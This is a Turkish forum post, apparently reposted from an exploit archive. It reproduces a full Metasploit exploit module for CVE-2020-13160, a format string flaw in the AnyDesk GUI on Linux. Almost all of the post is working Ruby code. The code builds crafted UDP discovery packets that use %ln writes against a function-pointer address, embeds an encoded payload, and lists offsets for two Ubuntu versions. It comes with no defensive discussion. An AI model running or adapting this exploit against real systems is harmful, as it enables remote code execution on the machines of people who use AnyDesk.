Hoşgeldin Misafir

AnyDesk GUI Format String Write Exploit

Asım Gürsoy

mersin
27 Mar 2020
8,833 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
AnyDesk GUI Format String Write Exploit--


Kod:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::Udp
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'AnyDesk GUI Format String Write',
        'Description' => %q{
          The AnyDesk GUI is vulnerable to a remotely exploitable format string vulnerability. By sending a specially
          crafted discovery packet, an attacker can corrupt the frontend process when it loads or refreshes. While the
          discovery service is always running, the GUI frontend must be started to trigger the vulnerability. On
          successful exploitation, code is executed within the context of the user who started the AnyDesk GUI.
        },
        'Author' => [
          'scryh', # vulnerability discovery and original exploit
          'Spencer McIntyre' # metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' =>
          [
            [ 'CVE', '2020-13160' ],
            [ 'URL', 'https://devel0pment.de/?p=1881' ]
          ],
        'Payload' => {
          'Space' => 512,
          'BadChars' => "\x00\x25\x26"
        },
        'Platform' => 'linux',
        'Arch' => ARCH_X64,
        'DefaultOptions' => {
          'CPORT' => 50001,
          'PrependFork' => true,
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [ CRASH_SERVICE_DOWN ],
          'SideEffects' => [ SCREEN_EFFECTS ],
          'Reliability' => [ UNRELIABLE_SESSION ]
        },
        'Targets' =>
          [
            [
              'Anydesk 5.5.2 Ubuntu 20.04 x64',
              { 'stkref1' => 109, 'stkref2' => 125, '[email protected]' => 0x119ddc0 - 139 }
            ],
            [
              'Anydesk 5.5.2 Ubuntu 18.04 x64',
              { 'stkref1' => 93, 'stkref2' => 165, '[email protected]' => 0x119ddc0 - 135 }
            ]
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-06-16'
      )
    )
 
    register_options([
      Opt::RPORT(50001)
    ])
    register_advanced_options([
      OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ]),
      OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 50001 ])
    ])
  end
 
  def build_discover_packet(hn, user, inf, func)
    buf = "\x3e\xd1\x01"
    buf << [4919].pack('N')
    buf << [0].pack('N')
    buf << "\x02" + "\x01" # os
    buf << [hn.length].pack('N') << hn
    buf << [user.length].pack('N') << user
    buf << [0].pack('N')
    buf << [inf.length].pack('N') << inf
    buf << "\x00"
    buf << [func.length].pack('N') << func
    buf << "\x02\xc3\x51"
  end
 
  def discover
    server_sock = Rex::Socket::Udp.create(
      'LocalHost' => datastore['SRVHOST'],
      'LocalPort' => datastore['SRVPORT'],
      'Context' => {
        'Msf' => framework,
        'MsfExploit' => self
      }
    )
 
    client_sock = connect_udp(false, {
      'RPORT' => datastore['RPORT'],
      'CPORT' => 0
    })
    client_sock.put(build_discover_packet(rand_text_alpha(rand(5..9)), rand_text_alpha(rand(5..9)), 'ad', 'main'))
 
    timeout = 10
    while timeout > 0
      start_time = Time.now
      response, host, = server_sock.recvfrom(8192, timeout)
      break if host == datastore['RHOST']
 
      timeout = Time.now - start_time
    end
 
    return nil unless response[0..2].bytes == [0x3e, 0xd1, 0x01]
    return nil unless response[11] == "\x02"
 
    disconnect_udp(client_sock)
    server_sock.close
 
    hostname = response[17..17 + response[13..16].unpack1('N')]
    report_host(host: datastore['RHOST'], name: hostname)
 
    {
      hostname: hostname,
      os: response[12] == "\x02" ? :linux : nil
    }
  end
 
  def check
    info = discover
    return CheckCode::Safe if info.nil?
 
    CheckCode::Detected("Remote hostname: #{info[:hostname]}")
  end
 
  def bad_unicode
    [ rand(0x80..0x90), rand(0..0xff) ].pack('CC')
  end
 
  def exploit
    info = discover
    fail_with(Failure::NotVulnerable, 'Discovery failed to detect the AnyDesk service') if info.nil?
    fail_with(Failure::NoTarget, 'Discovery determined the remote host OS is incompatible') unless info[:os] == :linux
 
    print_status("Discovered the remote service (hostname: #{info[:hostname]}, os: #{info[:os]})")
 
    connect_udp
 
    hn = "#{bad_unicode}%1$*1$x%18x%#{target['stkref2']}$ln"
    hn << payload.encoded
    udp_sock.put(build_discover_packet(hn, "#{bad_unicode}%#{target['[email protected]']}x%#{target['stkref1']}$ln", 'ad', 'main'))
    print_status('Sent exploit frame, waiting for the GUI to refresh to trigger the vulnerability...')
 
  ensure
    disconnect_udp
  end
end
 
#  0day.today [2020-07-05]  #